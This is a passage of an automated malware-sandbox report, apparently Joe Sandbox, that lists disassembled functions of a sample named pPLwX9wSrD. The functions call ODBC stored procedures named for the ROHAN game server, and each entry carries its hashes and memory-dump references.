                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DelCharacter](?,?)}
                                                                                                                            • API String ID: 0-1231830193
                                                                                                                            • Opcode ID: d06547db097b4bc8fd755d86dbf51e298dbd6635105fd9fee58b2eeaa7001c71
                                                                                                                            • Instruction ID: 48268bd4b592b2da4192612ecd570bbef656d36126d9fac246f282c860a29b49
                                                                                                                            • Opcode Fuzzy Hash: d06547db097b4bc8fd755d86dbf51e298dbd6635105fd9fee58b2eeaa7001c71
                                                                                                                            • Instruction Fuzzy Hash: 0921EDF5A40218ABEB24CF44CD52FAA7378EB84B18F108289F7187B2C5D6B569418B5C
                                                                                                                            Function 00425990 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_CreateNGuild] (?,?) } ,000000FD), ref: 004259B9
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004259F8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00425A2D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000011,00000000,?,00000012,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00425A65
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_CreateNGuild] (?,?) } , xrefs: 004259B0
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_CreateNGuild] (?,?) }
                                                                                                                            • API String ID: 0-1631241501
                                                                                                                            • Opcode ID: a56664f8205b5e5d0a4ecb688425938a96044e0a5de63c8fb684ecc9688c0e06
                                                                                                                            • Instruction ID: 9fbf6613b716ef8daa2e08ce78a83b7e337d0f0f474b3ddc4db0afcf15a9c01e
                                                                                                                            • Opcode Fuzzy Hash: a56664f8205b5e5d0a4ecb688425938a96044e0a5de63c8fb684ecc9688c0e06
                                                                                                                            • Instruction Fuzzy Hash: 552100B4A40218ABEB64CF44CC62FEA7374EB85B18F108189F71C6F2C5D6B56D808F58
                                                                                                                            Function 004309BE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_ConsignAddMoney] (?,?)},000000FD), ref: 004309E7
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00430A26
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00430A5B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00430A93
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_ConsignAddMoney] (?,?)}, xrefs: 004309DE
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_ConsignAddMoney] (?,?)}
                                                                                                                            • API String ID: 0-2384174568
                                                                                                                            • Opcode ID: 6b9a32811374aebc5d3cb85a7265370beae59c58e70f58e1ba03cea6d5ccd8bf
                                                                                                                            • Instruction ID: 7233474191123497f7eaad9b5b66233fb6fb5cba12b7890578e8269e5066ea5f
                                                                                                                            • Opcode Fuzzy Hash: 6b9a32811374aebc5d3cb85a7265370beae59c58e70f58e1ba03cea6d5ccd8bf
                                                                                                                            • Instruction Fuzzy Hash: 8A2112B0E8C214ABEB60CF64CC55F997374EB84754F208289F62C6A2C0D67979808F59
                                                                                                                            Function 0042DAFF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_GetGuildWar](?, ?)},000000FD), ref: 0042DB28
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042DB67
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042DB9C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042DBD4
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_GetGuildWar](?, ?)}, xrefs: 0042DB1F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_GetGuildWar](?, ?)}
                                                                                                                            • API String ID: 0-753609030
                                                                                                                            • Opcode ID: 08346d0fdd575ad2eb1f6222ea6916d76f1bfeea9fc8ebac1a1b2590b8a44913
                                                                                                                            • Instruction ID: 5f5e3d20c1a61a78fea5910b67b3c3c8b31c25310806eea13737cda41ea9cd7f
                                                                                                                            • Opcode Fuzzy Hash: 08346d0fdd575ad2eb1f6222ea6916d76f1bfeea9fc8ebac1a1b2590b8a44913
                                                                                                                            • Instruction Fuzzy Hash: 0F21F7B1640A546BEB64CF48CC62FAB7374EB4471AF208189F7147E2C4D5B56D808F58
                                                                                                                            Function 00432A88 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetAnonymousMode] (?,?)},000000FD), ref: 00432AB1
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00432AF0
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00432B25
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00432B5D
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetAnonymousMode] (?,?)}, xrefs: 00432AA8
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetAnonymousMode] (?,?)}
                                                                                                                            • API String ID: 0-557199333
                                                                                                                            • Opcode ID: aeeabe871129f7254a44d540f59532a2a25f71ff3ee4d703221c979b9c16c23e
                                                                                                                            • Instruction ID: ee60a5b0119dbebf41625cb838c2acea06801406cb3dd29aaed821feb7aa738d
                                                                                                                            • Opcode Fuzzy Hash: aeeabe871129f7254a44d540f59532a2a25f71ff3ee4d703221c979b9c16c23e
                                                                                                                            • Instruction Fuzzy Hash: B32156B0641656ABFB61CF45CC42FBA7374EBC4719F204289F6146E2C2D6756D808F58
                                                                                                                            Function 00427B50 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_StartGame](?,?) } ,000000FD), ref: 00427B79
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00427BB8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00427BED
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00427C25
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_StartGame](?,?) } , xrefs: 00427B70
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_StartGame](?,?) }
                                                                                                                            • API String ID: 0-1915316637
                                                                                                                            • Opcode ID: 2ca836d1b87029e1b3147fbbf1ee7c1e84d016630832137f7b93dca99391de9d
                                                                                                                            • Instruction ID: 4a2e378c26e809b9429be399863f197d985292641de0c6bd143da068c9ac001a
                                                                                                                            • Opcode Fuzzy Hash: 2ca836d1b87029e1b3147fbbf1ee7c1e84d016630832137f7b93dca99391de9d
                                                                                                                            • Instruction Fuzzy Hash: 6C2121B4A45219ABEFA0CF44CC56F9A7374EB44714F60C389F6186B2D0DEB16D808F58
                                                                                                                            Function 00432B67 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetAnonymousMode] (?,?)},000000FD), ref: 00432B90
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00432BCF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00432C04
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00432C3C
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetAnonymousMode] (?,?)}, xrefs: 00432B87
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
